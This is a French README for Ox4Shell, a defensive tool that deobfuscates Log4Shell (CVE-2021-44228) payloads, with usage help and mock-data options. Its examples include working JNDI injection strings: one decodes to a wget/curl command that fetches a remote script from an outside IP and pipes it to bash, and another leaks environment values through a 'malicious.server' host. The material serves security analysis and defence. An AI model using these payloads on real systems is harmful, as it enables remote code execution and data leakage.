
Désobfusquer facilement les payloads Log4Shell.


Désobfusquez les payloads Log4Shell avec aisance.
Depuis la publication de la vulnérabilité Log4Shell (CVE-2021-44228), de nombreux outils ont été créés pour obscurcir les payloads Log4Shell, rendant la vie des ingénieurs en sécurité infernale.
Cet outil vise à dévoiler le vrai contenu des payloads Log4Shell obscurcis.
Par exemple, considérez la payload obscurcie suivante :
${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}
Après avoir exécuté Ox4Shell, elle se transforme en une forme intuitive et lisible :
${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}
Cet outil aide également à identifier et décoder les commandes en base64.
Par exemple, considérez la payload obscurcie suivante :
${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
Après avoir exécuté Ox4Shell, l'outil révèle les intentions de l'attaquant :
${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash
⚠️ Nous recommandons d'exécuter Ox4Shell avec un fichier fourni (-f) plutôt qu'avec une payload en ligne (-p), car certains environnements shell échapperont des caractères importants, ce qui donnera des résultats inexacts.
Pour exécuter l'outil, simplement :
~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)
____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|
Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io
General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The maximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)
Targets:
Choose which target payloads to run Ox4Shell on
-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None)
La bibliothèque Log4j possède quelques fonctions de recherche uniques, qui permettent aux utilisateurs de consulter les variables d'environnement, les informations d'exécution sur le processus Java, etc. Cette capacité offre aux acteurs malveillants la possibilité de sonder des informations spécifiques pouvant identifier de manière unique la machine compromise qu'ils ont ciblée.
Ox4Shell utilise le fichier mock.json pour insérer des valeurs communes dans certaines fonctions de recherche, par exemple, si la payload contient la valeur ${env:HOME}, nous pouvons la remplacer par une valeur simulée personnalisée.
L'ensemble par défaut des données simulées fournies est :
{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
}
À titre d'exemple, nous pouvons désobfusquer la payload suivante en utilisant la capacité de simulation d'Ox4Shell :
~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}
Le code source du projet est sous licence MIT, que vous pouvez trouver dans le fichier LICENSE.